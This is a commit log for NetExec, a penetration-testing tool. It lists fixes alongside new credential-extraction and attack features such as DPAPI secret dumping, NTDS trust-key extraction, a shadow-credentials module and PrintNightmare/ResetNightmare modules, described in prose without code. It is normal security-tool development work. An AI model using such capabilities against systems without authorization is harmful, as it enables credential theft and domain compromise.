Compare commits

..
Author SHA1 Message Date
Alexander Neff df9c32276a Update lock files 2026-09-15 14:46:59 -04:00
Alexander Neff 47af3a022c Formatting 2026-09-15 14:46:29 -04:00
zblurx d542b20224 fix logging origin in dpapi related modules 2026-09-14 16:11:15 +02:00
Alex 81e53ecb9c Merge pull request #1419 from Pennyw0rth/neff-fixes
Add a bunch of small fixes
2026-09-14 00:26:58 +02:00
Alexander Neff 310979ab59 Merge branch 'main' into neff-fixes 2026-09-13 18:20:28 -04:00
mpgn 7bd77885b7 Merge pull request #1327 from Pennyw0rth/dpapi_upgrade
[dploot upgrade] Add --dpapi on WMI, WINRM and MSSQL protocols
2026-09-13 23:57:08 +02:00
mpgn aecf64dbc7 uv lock update 2026-09-13 23:55:34 +02:00
Alex d3c3ca9dea Merge pull request #1259 from Dfte/refactor_list_database
Refactor the --database argument to comply with security checks
2026-09-13 23:44:32 +02:00
Alexander Neff ee3dd5e0e6 Formatting 2026-09-13 17:35:47 -04:00
Alexander Neff 490d7397f2 Formatting 2026-09-13 17:33:16 -04:00
Alexander Neff f1078b6622 Use dploot pypi version 2026-09-12 12:36:36 -04:00
Alexander Neff e5b7a5f3b4 Merge branch 'main' into dpapi_upgrade 2026-09-12 09:40:34 -04:00
Alexander Neff 164f35dddd Catch Exception if software is not installed 2026-09-12 09:32:00 -04:00
Alexander Neff 4e2c0a60d4 Rename 'context' to 'connection' so it is in line with modules 2026-09-12 09:24:34 -04:00
Alexander Neff 9249bb3834 Fix remoteng execution 2026-09-12 09:21:14 -04:00
Alexander Neff 317840f6df Remove unused functions and imports 2026-09-12 09:12:05 -04:00
Alexander Neff 44cc9f1333 Ruff 2026-09-11 17:54:56 +02:00
Alexander Neff 333ec792f0 lock file hash 2026-09-11 17:36:36 +02:00
Alexander Neff a92275586e Fix crash if NTLM is unavailable 2026-09-11 17:36:10 +02:00
Alexander Neff 32469fea8b Fix bloodhound collection if signing and cbt is enforced 2026-09-11 17:35:39 +02:00
Alexander Neff 5823cdba20 Add ftp --cat command 2026-09-11 17:34:32 +02:00
Alexander Neff a7626dd2c4 Improve ftp host banner and session closing 2026-09-11 17:34:12 +02:00
Alexander Neff 6b5f557736 Remove useless share listing 2026-09-11 17:33:24 +02:00
Alexander Neff 40abafc41b Add some padding for user descriptions 2026-09-11 17:32:45 +02:00
Alexander Neff 6c29f3c6e4 Fix error handling of impacket/rpcrt 2026-09-11 17:32:26 +02:00
Alexander Neff c3122a9487 Add generic exception handler for ConnectionRefused 2026-09-11 17:29:41 +02:00
mpgn e6deadf5c7 Merge pull request #1413 from Natasha-B/fix-ldap-check
Fix false positives on ldap signing and cbt checks when NTLM is disabled
2026-09-11 11:58:39 +02:00
mpgn dde1482435 Fix conditional check for signing_required
Signed-off-by: mpgn <[email protected]>
2026-09-11 11:56:16 +02:00
Natasha-B ff987ee634 Fix false positives on ldap signing and cbt checks when NTLM is disabled 2026-09-10 17:30:58 +02:00
Alex c72f2ca98e Merge pull request #1390 from XiaoliChan/wmi-reuse-fix
[WMI] Reuse DCOM fix
2026-09-09 22:31:19 +02:00
Alexander Neff 402615522e Merge branch 'main' into wmi-reuse-fix 2026-09-09 16:22:22 -04:00
Alex 5d9ea3a0ad Merge pull request #1410 from Pennyw0rth/neff-fix-encoding
Change CRLF to LF of bitlocker file module
2026-09-09 22:19:21 +02:00
Alexander Neff c612a1347a Change CRLF to LF 2026-09-09 16:15:08 -04:00
mpgn 90efb2a9f3 Merge pull request #1321 from Goultarde/feature/trust-keys 2026-09-09 22:06:24 +02:00
Marshall Hallenbeck 444cea83c6 Merge pull request #1190 from Pennyw0rth/feat/smb-get-folder
add --get_folder functionality
2026-09-09 15:48:58 -04:00
mpgn 8073a798e0 update lock files 2026-09-09 21:19:39 +02:00
mpgn 6699b40757 Merge branch 'main' into feature/trust-keys 2026-09-09 21:10:00 +02:00
Goultarde 98d0549ae1 Respect history for TDO trust keys 2026-09-09 21:07:25 +02:00
mpgn 8230e9a2d3 fix from update of impacket 2026-09-09 20:54:05 +02:00
Alex ccef3a75b0 Merge pull request #1408 from r4vanan/main 2026-09-09 09:55:13 +02:00
r4vanan 4ae0dd723b Fix spelling mistakes across multiple files 2026-09-08 22:52:26 -04:00
Alex d640fb78b8 Merge pull request #1233 from x-way/fix-empty-dir-spider
Fix handling of empty SMB share folder
2026-09-06 22:19:34 +02:00
Alex e969f23757 Merge pull request #1403 from Pennyw0rth/neff-add-clean
Shadow Creds Clear command
2026-09-06 21:53:01 +02:00
Alexander Neff f1e6b38574 Add clear command to shadow-creds module 2026-09-06 15:05:07 -04:00
Alexander Neff c98846379f Provide information about excluded hosts more verbosly 2026-09-06 13:41:37 -04:00
Alexander Neff 766c221f10 Trim down on info logs so we can see only valid hosts 2026-09-06 13:39:50 -04:00
Alex 7f5f869de0 Merge pull request #1204 from Dfte/add_exclude_options 2026-09-06 15:56:57 +02:00
XiaoliChan eee763caad bitlocker module: reuse the wmi protocol connection instead of a second DCOMConnection
Same pattern as the rdp module fix: BitLockerWMI creates its own
DCOMConnection to the same target the wmi protocol already holds one
for, and disconnecting it removes the shared INTERFACE.CONNECTIONS
thread entry, so the protocol-level disconnect afterwards raises
KeyError on impacket versions that do not guard it. Reuse the
protocol's IWbemLevel1Login instead - over smb nothing changes.
2026-09-05 19:56:39 +08:00
XiaoliChan 26e2007d77 rdp module: reuse the wmi protocol connection instead of a second DCOMConnection
When running over the wmi protocol the module now reuses the protocol's
authenticated IWbemLevel1Login instead of creating its own
DCOMConnection to the same target - whose disconnect would clash with
the protocol's own on impacket versions that do not guard the
INTERFACE.CONNECTIONS thread entry (KeyError: ThreadPoolExecutor-x_x).
Over smb nothing changes: the module still creates its own
DCOMConnection since the protocol has none.
2026-09-05 19:56:39 +08:00
zblurx 2fc046558c Merge branch 'main' into dpapi_upgrade 2026-09-03 16:35:46 +02:00
Andreas Jaggi 28e1ad17b4 Fix handling of empty SMB share folder 2026-09-02 15:56:10 +00:00
Alex ee0e488d43 Merge pull request #1368 from Pennyw0rth/neff-add-shadow-creds 2026-09-02 15:56:51 +02:00
Alexander Neff 5800ec5fbb Add prompt if exclusion exists but target is hostname 2026-09-01 14:56:32 -04:00
Alexander Neff 883921d2c8 Ensure that excluded hosts are valid IPs 2026-09-01 14:36:46 -04:00
Alexander Neff 2fbbd244a4 Add netifaces to lock files 2026-09-01 14:28:31 -04:00
Alexander Neff ac84b7dd94 Formatting 2026-09-01 14:27:50 -04:00
Alexander Neff 336738bd58 Move target parsing to helper functions 2026-09-01 14:26:18 -04:00
Alexander Neff c0536ccd72 Add comment back 2026-09-01 14:18:32 -04:00
Alexander Neff fc30724918 Add IPv6 self exclusion 2026-09-01 14:17:55 -04:00
Alexander Neff a7e55ffbf4 Formatting 2026-09-01 14:17:25 -04:00
Alexander Neff 6dc9e9d505 Make IP exclusion list additive instead of overwriting itself 2026-09-01 14:17:09 -04:00
Alexander Neff 5f53ae99fd Formatting 2026-09-01 13:28:05 -04:00
mpgn 978270ad00 Add default value to --trust-keys argument
Set default value for --trust-keys argument to True.

Signed-off-by: mpgn <[email protected]>
2026-08-31 21:49:41 +02:00
mpgn 9e94f58081 simplify the logic and fix regression
Signed-off-by: mpgn <[email protected]>
2026-08-31 21:45:18 +02:00
Deft_ db807bb938 Merge branch 'main' into add_exclude_options
Signed-off-by: Deft_ <[email protected]>
2026-08-31 17:19:36 +02:00
Aurélien CHALOT cb351cf890 Add support for IPv6 2026-08-31 17:02:52 +02:00
Aurélien CHALOT 9817aadfbb Add --exclude-hosts and --skip-self overwriting nxc.conf file 2026-08-31 16:57:28 +02:00
zblurx 4bf5abdcdc ruff 2026-08-31 12:39:54 +02:00
zblurx 961f4e5028 enhance use of credentials in db 2026-08-31 11:52:05 +02:00
zblurx 6ee4802743 fix dploot_connection upgrade debug log message 2026-08-31 11:09:07 +02:00
zblurx 42fe6b4840 remove print 2026-08-31 10:51:40 +02:00
zblurx 7308add93f Merge branch 'dpapi_upgrade' of github.com:Pennyw0rth/NetExec into dpapi_upgrade 2026-08-31 10:41:38 +02:00
zblurx a9b8cf8e0a add highlight in log_secret and set output_file in init 2026-08-31 10:40:21 +02:00
Alexander Neff ff3d4937b4 Merge branch 'main' into dpapi_upgrade 2026-08-30 11:58:09 -04:00
Alex 2bdc7e5e52 Merge pull request #1362 from amikuss/fix/ldap-groups-memberof-fallback 2026-08-30 03:19:00 +02:00
zblurx b114c644c5 showing machine keys if collected 2026-08-28 11:36:03 +02:00
zblurx 0d2af8bdd5 added display message when dump LSA 2026-08-28 11:28:45 +02:00
Marshall Hallenbeck fd9ebe9057 Merge pull request #1376 from Pennyw0rth/fix/vnc-connection-timeout
fix(vnc): bound the connection so an unresponsive server cannot hang the scan
2026-08-25 13:48:53 -04:00
Alex fc970ca7df Merge pull request #1378 from Pennyw0rth/neff-fix-dploot-version
Restrict dploot to v3
2026-08-25 19:32:04 +02:00
Alexander Neff 6f7e0a81bc Restrict dploot to v3 2026-08-25 13:12:56 -04:00
Alex e9c2c66a9b Merge pull request #1377 from Pennyw0rth/neff-add-nfs-cat
Add --cat argument for NFS
2026-08-25 18:16:38 +02:00
Alexander Neff c013e02e81 Add --cat argument for nfs 2026-08-25 12:08:36 -04:00
Marshall Hallenbeck a5fe3ba13f fix(vnc): bound the connection so an unresponsive server cannot hang the scan
A VNC server that completes the TCP connect and then stops responding during the
RFB handshake left `await self.conn.connect()` outstanding forever, with no
output and no error. On one engagement a single host held a run for the full
hour its external timeout allowed, and nothing was scanned in that time.

The target timeout alone does not cover this: the connect succeeds, so the hang
is in the handshake that follows. RDP already bounds the equivalent call with
`asyncio.wait_for` and exposes `--rdp-timeout`; VNC now does the same through
`--vnc-timeout`, which is also passed to RDPTarget.

A timeout is reported as a timeout rather than as a rejected password, because
nothing was authenticated. It is caught as `asyncio.TimeoutError`, which is only
an alias of the builtin from Python 3.11 and this project supports 3.10.

Claude-Session: https://claude.ai/code/session_01BrqBUZro8vxfBMGniTyfDV
2026-08-25 08:00:18 -04:00
zblurx 0de1fc8cd5 change function name to log_secret to make it clearer 2026-08-25 12:08:38 +02:00
zblurx 92e61efe14 Fix the open file to append instead of overwrite 2026-08-25 11:55:19 +02:00
zblurx 01536dc628 ruff 2026-08-25 11:51:40 +02:00
zblurx 8e4fc22290 move it closer to dpapi stuff, easier to read 2026-08-25 11:50:42 +02:00
zblurx 1d06afcc84 only rely on kdcHost for backupkey recovery 2026-08-25 11:47:50 +02:00
zblurx c5ab84af01 added lsa quiet mode 2026-08-25 11:37:40 +02:00
zblurx cb7d22ccbc modify output_file and counter management 2026-08-25 11:22:46 +02:00
zblurx 473e33352e update args pvk 2026-08-25 10:02:25 +02:00
Alexander Neff 4a2c8d433d Make output logic clear and add dn fallback 2026-08-24 17:16:56 -04:00
Alexander Neff b7ba0f929e Adjust query such that we don't query all objects and don't fail on external references 2026-08-24 17:16:18 -04:00
Alex 8a7edb5636 Merge branch 'main' into fix/ldap-groups-memberof-fallback 2026-08-24 21:40:51 +02:00
Alex 09342c190d Merge pull request #1375 from Pennyw0rth/neff-add-agents.md
Add AGENTS.md file for guiding LLM agents
2026-08-24 10:00:23 +02:00
Alexander Neff 2c44f785ec Name full path 2026-08-24 08:03:48 +02:00
Alexander Neff 35bf9d183e Fix linting 2026-08-23 09:44:49 -04:00
Alexander Neff b5da832c31 Add legacy path for mremoteng conf files 2026-08-23 09:42:51 -04:00
Alexander Neff d4ee81fa3f Update lock file 2026-08-23 08:36:12 -04:00
Alexander Neff 79e14ea61e Update lock file 2026-08-23 08:35:43 -04:00
Alexander Neff 31428e9674 Merge branch 'main' into dpapi_upgrade 2026-08-23 08:34:40 -04:00
Alexander Neff 8fbadf4d0f Remove unused import 2026-08-23 07:30:42 -04:00
Alexander Neff 60aab5c60d Don't manually exit, but return False for invalid module options 2026-08-23 07:28:30 -04:00
Alexander Neff ccfaf5852c Remove overrestrictive instruction 2026-08-23 07:23:32 -04:00
Alex dfcbdb9fff Merge branch 'main' into neff-add-shadow-creds 2026-08-23 13:08:41 +02:00
Alexander Neff 676361ae8c Add AGENTS.md file for guiding agents 2026-08-23 07:07:25 -04:00
Alex 7751cb8f1f Merge pull request #1346 from azoxlpf/fix/module-options-validation
Allow modules to abort the run by returning False from options()
2026-08-23 11:42:17 +02:00
amikuss 40c4c124b3 refactor(ldap): split all-groups/specific-group search logic 2026-08-20 09:52:08 +02:00
Alexander Neff e0a3f1a1db Restrict exception handling to LDAPSessionError caused by unsifficient privs 2026-08-20 09:51:01 +02:00
Alexander Neff a5b525037a Fix string comparison on DeviceID 2026-08-20 09:43:41 +02:00
Marshall Hallenbeck 73b4dba6d2 Merge branch 'main' into feat/smb-get-folder 2026-08-19 17:49:07 -04:00
Alexander Neff 1b30d2ed01 Allow non-computer accounts 2026-08-16 17:52:13 -04:00
Alexander Neff 32e6d5a8b7 Display Device ID first 2026-08-16 17:47:48 -04:00
Alexander Neff 8943e65a9e Improve info output 2026-08-16 17:47:37 -04:00
Alexander Neff 33080a917c Just export raw ldap value to bypass dsinternals issues 2026-08-16 17:43:06 -04:00
Alexander Neff fb8b3e41c7 Add more tests and adjust encoding 2026-08-16 17:21:00 -04:00
Alexander Neff 96ce28cc4a Add backup and revert functions 2026-08-16 17:14:06 -04:00
Alexander Neff 18f0e5ffc5 Add stub e2e tests 2026-08-16 16:30:16 -04:00
Alexander Neff 3114333d27 First draft of shadow-creds 2026-08-16 16:30:09 -04:00
Alex ca426d081a Merge pull request #1367 from Pennyw0rth/neff-fix-open-calls
Use context manager for file operations
2026-08-16 16:46:03 +02:00
azoxlpf 1b1e9c5d6a signal module options() abort via exception instead of None 2026-08-16 16:45:28 +02:00
Alex dc2c3b4f87 Merge branch 'main' into neff-fix-open-calls 2026-08-16 16:44:18 +02:00
Alex 05f1411ea2 Merge pull request #1359 from Pennyw0rth/neff-py3.14
Prepare Python 3.14 compatability
2026-08-16 16:29:37 +02:00
Alexander Neff 09bfaaf36f Use context manager for file operations 2026-08-16 09:44:05 -04:00
Alexander Neff 2460151e66 Update ruff 2026-08-16 09:25:18 -04:00
Alexander Neff a60a86ced5 Fix linting 2026-08-16 09:25:09 -04:00
Alexander Neff f212317986 Update lock file 2026-08-16 09:20:08 -04:00
Alexander Neff 3f317d989b Fix linting 2026-08-16 09:15:21 -04:00
Alexander Neff e743cd0496 Fix file handle stuff 2026-08-16 08:06:13 -04:00
Alexander Neff e6ad90b79c Exclude rule that forces rule names instead of codes 2026-08-16 08:02:57 -04:00
Alex 698abd40df Merge pull request #1365 from Macbucheron1/fix/bloodhound-target-domain
fix: use target domain for bloodhound collection
2026-08-16 12:35:33 +02:00
Mac 38a5f36c0b fix: use target domain for bloodhound collection 2026-08-15 12:56:41 +02:00
amikuss 7d742355f5 fix(ldap): resolve group members via 'member' fallback for missing 'memberOf' backlinks 2026-08-13 10:40:25 +02:00
zblurx daed14661a update docstrings in dpapi.py helper 2026-08-12 13:49:32 +02:00
Alexander Neff 85e6e625b1 Update lock file 2026-08-11 16:19:23 -04:00
Alexander Neff 8429767dd4 Update github cli to py3.14 2026-08-11 16:16:32 -04:00
Marshall Hallenbeck af9bb8753c Merge pull request #1357 from Pennyw0rth/fix/e2e-commands-stale-modules
fix(tests): remove nonexistent safe_shares and fix mssql_dumper module name in e2e tests
2026-08-11 09:56:24 -04:00
Marshall Hallenbeck 414b8c8dd2 fix(tests): remove nonexistent safe_shares and fix mssql-dumper module name in e2e tests
- Remove safe_shares module tests (lines 155-157) — this module never
  existed in the codebase, causing 3 guaranteed failures
- Rename mssql-dumper to mssql_dumper (lines 300-302) — the module
  uses an underscore, not a hyphen
2026-08-11 09:23:35 -04:00
Alex 46dd7d5559 Merge pull request #734 from termanix/patch-1
New LDAP Flag Listing OUs
2026-08-11 05:29:28 +02:00
Alexander Neff 43ada51519 Formating 2026-08-10 23:26:28 -04:00
Alexander Neff 03bbb03aba Formating 2026-08-10 23:23:27 -04:00
Alexander Neff b69f2b39af Improve help text 2026-08-10 23:20:58 -04:00
Alexander Neff 205eb8c334 Formating 2026-08-10 23:20:33 -04:00
Alexander Neff 1dacb3b95d Provide header for user listing 2026-08-10 23:20:19 -04:00
Alexander Neff 752fa37062 Linting 2026-08-10 15:49:30 -04:00
Alex b37a328514 Merge branch 'main' into patch-1 2026-08-10 21:33:30 +02:00
mpgn c005376d70 Merge pull request #1345 from Pennyw0rth/remove-oscrypto-dependency 2026-08-08 11:49:07 +02:00
mpgn fb722fc351 fix review code 2026-08-07 19:19:55 +02:00
mpgn ba239aaa5f Merge pull request #1352 from azoxlpf/feat/add-resetnightmare-module
Add ResetNightmare module
2026-08-07 19:05:57 +02:00
azoxlpf 417c051c0d add to e2e_commands.txt 2026-08-07 18:51:41 +02:00
azoxlpf 0f8a9abcca add Errors 2026-08-07 18:44:49 +02:00
mpgn a9eeafd20e Merge pull request #1350 from azoxlpf/feat/add-ResetNightmare-to-enum_cve
Add ResetNightmare to enum_cve
2026-08-07 17:23:41 +02:00
mpgn 106448304f Merge pull request #1351 from Pennyw0rth/fixntlm
Fix check isdc is not ntlm
2026-08-07 09:47:25 +02:00
azoxlpf 52d0196492 Add ResetNightmare module 2026-08-06 22:21:35 +02:00
mpgn 23e412b1ff fix check isdc if no ntlm 2026-08-06 21:13:58 +02:00
mpgn 45fb4e9b0c fix check isdc if no ntlm 2026-08-06 20:54:41 +02:00
mpgn 57fe370cf9 fix check isdc if no ntlm 2026-08-06 20:53:32 +02:00
mpgn 9486274f96 fix check isdc if no ntlm 2026-08-06 20:29:18 +02:00
azoxlpf 24c480657a Add ResetNightmare to enum_cve 2026-08-06 19:57:04 +02:00
Marshall Hallenbeck 4c3e407b30 fix: remove unused _StoreAction import (#1190)
Refs #1190
2026-08-05 17:56:13 -04:00
Marshall Hallenbeck 482c26631d fix: resolve merge conflicts with main (#1190)
Merge upstream import changes in smb.py and proto_args.py while
preserving --get-folder feature additions.

Refs #1190
2026-08-05 15:28:01 -04:00
azoxlpf cfee504986 allow modules to abort the run by returning False from options() 2026-08-04 18:12:24 +02:00
mpgn 00811f26cc removing oscrypto 2026-08-02 23:14:45 +02:00
mpgn 9d43cf71ea Merge pull request #1344 from Pennyw0rth/fix-uv-lock-impacket-source
Sync uv lock with fortra
2026-08-02 23:00:11 +02:00
mpgn 80c22d4611 update uv lock 2026-08-02 22:39:39 +02:00
zblurx 395bad514d using function returned values instead of counter 2026-08-02 22:34:48 +02:00
zblurx a34140e7c1 ruff 2026-08-02 22:29:40 +02:00
zblurx 2f11e2f41e few changes related to reviews 2026-08-02 22:22:25 +02:00
Alex 1ae944ff07 Merge pull request #654 from crosscutsaw/rclone
new module: smb > rclone
2026-08-02 15:56:28 +02:00
Alexander Neff 100f3a1428 Fix dpapi key output in lsa 2026-08-01 17:40:49 -04:00
Alexander Neff 7a8b85406a Merge main 2026-08-01 16:29:44 -04:00
Alex 61bfc61bb8 Merge pull request #1337 from Mauriceter/fix_gpppriv
fix ldap resolution failure in GPP_Privileges module
2026-08-01 22:22:17 +02:00
Alexander Neff 5f109a4bcd Functionalize basedn query 2026-08-01 16:20:30 -04:00
Alex 738b842ab4 Merge pull request #1343 from Pennyw0rth/neff-add-documentation 2026-07-31 17:34:04 +02:00
Alex a093f3a33a Fixing an ancient typo 2026-07-31 17:22:11 +02:00
mpgn a3dca37946 Merge pull request #1317 from Pennyw0rth/isdc
Refactor isdc to show if server is dc or not
2026-07-31 17:17:56 +02:00
Alexander Neff 506ebd75ef Add documentation for bloodhound collector 2026-07-31 11:09:41 -04:00
Alex 8baa6a6071 Merge pull request #1342 from XedSama/fix-netbios-timeout-ws2025
Increasing dynamically SMB timeout against WS2025 NTLM rate-limiting
2026-07-31 17:06:46 +02:00
Alexander Neff 50f5f07aca Added some documentation/explanation 2026-07-31 11:02:52 -04:00
XedSama 4fe5ae661f Update smb.py 2026-07-31 16:26:04 +02:00
XedSama 40d30de6e6 Merge branch 'fix-netbios-timeout-ws2025' of github.com:XedSama/NetExec into fix-netbios-timeout-ws2025 2026-07-31 15:42:39 +02:00
XedSama b6d6b2d3cb Update smb.py 2026-07-31 15:42:01 +02:00
Xed 6e6534de29 Merge branch 'main' into fix-netbios-timeout-ws2025 2026-07-31 15:25:12 +02:00
XedSama 2edf87d8c0 Update smb.py 2026-07-31 14:56:45 +02:00
XedSama 1c6e3247fa Improvement with contextlib 2026-07-31 14:34:52 +02:00
XedSama 74811feaba Update smb.py 2026-07-31 14:22:53 +02:00
mpgn d24af22385 Merge pull request #1244 from Pennyw0rth/mpgn-patch-1
Add new option to toml file to exclude package is old enough
2026-07-31 09:44:18 +02:00
Alexander Neff 288a3340d3 Update lock file 2026-07-30 16:51:44 -04:00
mpgn 577ded5ad8 fix from review 2026-07-30 22:37:13 +02:00
Alex 45035f281e Merge pull request #1333 from Char0n1507/fix/issue-1320-ssh-race-condition
fix: db_execute lock scope to prevent thread-safety race (#1320)
2026-07-30 20:46:11 +02:00
Joachim De Bats 4235593af5 fix ldap resolution failure 2026-07-29 09:18:47 +02:00
Marshall Hallenbeck dee28e3473 Merge pull request #1132 from Pennyw0rth/fix/moduleloader-isolated-namespaces
fix(moduleloader): isolate module namespaces and cache loaded modules
2026-07-28 20:15:39 -04:00
Marshall Hallenbeck 2b0edf3bd5 Merge pull request #1335 from Dfte/proto_back
Allow using proto to switch protocole without calling back
2026-07-28 15:17:40 -04:00
Marshall Hallenbeck c3e67e42fe Merge branch 'main' into fix/moduleloader-isolated-namespaces 2026-07-28 15:11:34 -04:00
Marshall Hallenbeck 476228c386 test(e2e): cover printnightmare in e2e_commands
printnightmare was absent from the e2e command list entirely, including the
combined multi-module line. It defines its own impacket NDRCALL requests,
which makes it the module most sensitive to how the loader registers modules
in sys.modules — and the gap meant a loader regression that broke it ran
clean through the whole suite.

Add it standalone and to the multi-module line, so both single-module and
multi-module loading paths exercise it.
2026-07-28 15:08:13 -04:00
Marshall Hallenbeck d40b810aed fix(moduleloader): register loaded modules in sys.modules
module_from_spec() + exec_module() does not add the module to sys.modules,
which the load_module() call it replaced did implicitly. Modules that define
their own impacket NDRCALL requests depend on impacket resolving the matching
Response class through sys.modules[request.__module__] (dcerpc/v5/rpcrt.py),
so printnightmare aborted every run with:

    ModuleNotFoundError: No module named 'nxc_module_printnightmare'

Register the module under its unique name before executing it. This restores
the lookup impacket needs while keeping each module in its own namespace, as
the unique name is still distinct per module file.
2026-07-28 15:08:04 -04:00
Aurélien CHALOT eb3a51c86a liting 2026-07-28 20:23:25 +02:00
Aurélien CHALOT 3ef2a121c5 Allow using proto to switch protocole without calling back 2026-07-28 19:24:42 +02:00
mpgn 27d30e48a0 add isdc as option 2026-07-28 15:27:25 +02:00
bb d592eb153c fix: db_execute lock scope to prevent thread-safety race (#1320) 2026-07-28 09:19:13 -04:00
zblurx f210749bcb Merge branch 'main' into dpapi_upgrade
Signed-off-by: zblurx <[email protected]>
2026-07-28 10:07:57 +02:00
Alexander Neff 67ec4e14ed Fix check for login functions 2026-07-27 10:47:10 -04:00
Alex c35233c4db Merge pull request #1318 from Goultarde/fix/sccm-dpapi-kdchost
fix(smb/sccm): pass kdcHost/dc_ip to dploot Target so --sccm wmi doesn't hang over Kerberos
2026-07-27 16:17:54 +02:00
Goultarde 7895b1898e Also pass dc_ip to dploot Target in dpapi() 2026-07-26 17:46:39 +02:00
Goultarde 59778f5b70 Use self.targetDomain for trust key salt derivation 2026-07-26 17:32:06 +02:00
Alex 80317f12ea Merge pull request #1328 from XedSama/update-enum-cve
Update enum_cve.py
2026-07-26 14:04:58 +02:00
Alexander Neff c6972c1434 Move deobfuscation functions into the module 2026-07-26 06:21:42 -04:00
Alexander Neff 9f069f57b5 Add module category 2026-07-26 06:00:30 -04:00
Alexander Neff b5a1141755 Formatting 2026-07-26 05:59:48 -04:00
Alex a18aaa2708 Merge branch 'main' into rclone 2026-07-26 11:58:21 +02:00
XedSama 6c6970ef4d Update enum_cve.py 2026-07-25 12:16:24 +02:00
Marshall Hallenbeck 40f1e2b616 Merge branch 'main' into fix/moduleloader-isolated-namespaces 2026-07-23 22:07:16 -04:00
zblurx 4a235a45b6 remove unused mark 2026-07-22 21:01:58 +02:00
zblurx 2d04789b10 update pvk file reading 2026-07-22 20:54:30 +02:00
zblurx f2cbdc4372 update e2e_commands.txt 2026-07-22 20:44:39 +02:00
zblurx 6b509c402a update pyproject.toml 2026-07-22 20:14:26 +02:00
zblurx fe758a6270 ruff check 2026-07-22 20:11:07 +02:00
zblurx f0047bc321 fix dploot related modules 2026-07-22 20:00:05 +02:00
zblurx f476bf2313 fix mssql dabatase for backupkey 2026-07-22 18:14:12 +02:00
zblurx 2d35724a6e add dpapi for mssql 2026-07-22 17:53:00 +02:00
zblurx 88d0c7bb3f dpapi refacto 2026-07-22 17:25:46 +02:00
zblurx 7ccf5aaddb add dpapi for winrm 2026-07-22 12:48:46 +02:00
zblurx e60d8f1b34 add dpapi for wmi proto 2026-07-22 12:04:46 +02:00
zblurx db422c71b2 update smb proto 2026-07-22 12:04:30 +02:00
Alex cd599504ad Merge pull request #1311 from Functionhx/fix/netexec-1273-export-keys
fix: add get_keys fallback to prevent export keys crash
2026-07-21 19:32:43 +02:00
mpgn b2a9c7484f Merge pull request #1313 from Pennyw0rth/ldaptiemout
Add ldap timeout option to ldap protocol
2026-07-21 19:30:17 +02:00
Alexander Neff 1256a81215 Linting 2026-07-21 13:20:23 -04:00
Alexander Neff b8f431c756 Merge branch 'ldaptiemout' of https://github.com/Pennyw0rth/NetExec into ldaptiemout 2026-07-21 13:13:05 -04:00
Alexander Neff ae57a98ec9 Exclude timeout errors by impacket from error messages 2026-07-21 13:13:00 -04:00
mpgn 6139fe5edc Update proto_args.py
Signed-off-by: mpgn <[email protected]>
2026-07-21 19:01:10 +02:00
mpgn 44ff3da079 Merge pull request #1282 from T1erno/fix-backup_operator
Fix for backup_operator module
2026-07-18 21:18:04 +02:00
mpgn fa07f0a702 Merge branch 'main' into fix-backup_operator 2026-07-18 21:11:56 +02:00
mpgn e79cf35845 refactor a little bit 2026-07-18 21:11:10 +02:00
Goultarde 77f6ab4f85 Add e2e tests and update --enabled help text for trust keys 2026-07-18 20:04:25 +02:00
mpgn 357d5b3873 Merge branch 'main' into mpgn-patch-1 2026-07-18 18:44:58 +02:00
Goultarde 9860c5fded Fix trust key lines disappearing with --enabled
Trust key lines never contain "Enabled"/"Disabled" (they have no account
status), so the --enabled filter silently dropped them entirely. Detect
trust key lines and always show them regardless of --enabled.
2026-07-18 15:25:52 +02:00
Goultarde d96e92d867 Fix trust-keys dump summary messages
--just-trust-keys reused the regular NTDS dump summary ("NTDS hashes",
"added to the database", grep-disabled hint), which is meaningless
when only trust keys are dumped (no accounts are enumerated). Show a
summary specific to that mode instead.
2026-07-18 13:48:52 +02:00
Goultarde dc7e0e432d Add --just-trust-keys to smb ntds dump
Like --trust-keys but skips account enumeration entirely (implied --just-dc
behavior in impacket), emitting only the trust keys. Useful when only the
inter-realm keys are needed, for a faster and quieter dump.
2026-07-18 13:33:11 +02:00
Goultarde dd72a956e6 Add --trust-keys to smb ntds dump
Expose impacket secretsdump's trust key extraction (fortra/impacket#2207)
through NetExec's --ntds: dumps Trusted Domain Object secrets and derives
inter-realm Kerberos (AES256, AES128) and RC4 keys for each trust direction.

Also fixes the account-line status stripping in add_hash(), which blindly
dropped the last space-separated word of every secret line (meant to strip
the trailing "Enabled"/"Disabled" on account lines) and was truncating the
trust key lines, which contain spaces but no status suffix.
2026-07-18 13:00:34 +02:00
Goultarde b62e0e2a22 fix(smb/sccm): pass kdcHost/dc_ip to dploot Target so --sccm wmi doesn't hang over Kerberos 2026-07-16 23:05:42 +02:00
mpgn ec54abe827 refactor isdc 2026-07-16 22:35:14 +02:00
mpgn d78faffb6f Merge branch 'main' into ldaptiemout 2026-07-16 21:01:24 +02:00
mpgn 4eac71fa70 add except 2026-07-16 13:28:07 +02:00
Alex ff198407f8 Merge pull request #1314 from Pennyw0rth/neff-fix-mssql-rid-brute 2026-07-15 23:18:14 +02:00
Alexander Neff 1438edbe8c Update certipy due to bugs in current github main branch 2026-07-15 16:57:59 -04:00
mpgn 30fb8691d0 Update ruff dependency to latest version
Signed-off-by: mpgn <[email protected]>
2026-07-15 21:33:49 +02:00
mpgn 1c091a62a8 Refactor dev dependencies in pyproject.toml
Removed specific dependencies from the dev group in pyproject.toml and added a comment about the uv and poetry native dev group.

Signed-off-by: mpgn <[email protected]>
2026-07-15 21:31:01 +02:00
Alexander Neff c7a44ade4a Fix rid bruteforce in MSSQL 2026-07-15 14:17:00 -04:00
mpgn 567f4629cd Merge branch 'main' into ldaptiemout 2026-07-15 17:17:49 +02:00
mpgn b4f5b4182d add lock 2026-07-15 16:10:57 +02:00
mpgn 502df2f2ac fix ruff version 2026-07-15 16:10:57 +02:00
mpgn 1abed07bca Merge branch 'main' into mpgn-patch-1
Signed-off-by: mpgn <[email protected]>
2026-07-15 16:08:01 +02:00
mpgn d77c79bcc5 fix ruff version 2026-07-15 16:06:30 +02:00
mpgn fd6b32e386 Delete poetry.toml
Signed-off-by: mpgn <[email protected]>
2026-07-15 15:48:53 +02:00
mpgn 8a459a3647 add ldap timeout
Add a --ldap-timeout option (default 10s) and pass it through to
impacket's LDAPConnection, which now supports a native connection
timeout (fortra/impacket#2217). Also deprecate the generic --timeout
flag and bump the pinned impacket to the commit that ships the timeout
parameter.
2026-07-15 15:32:45 +02:00
Functionhx 7e74daf9dd test: add do_export end-to-end regression test for keys empty guard
Codex R2 found the existing three tests never call DatabaseNavigator.do_export,
so removing the empty-key guard would leave all tests passing while restoring
false success and file truncation. Add a test that constructs a
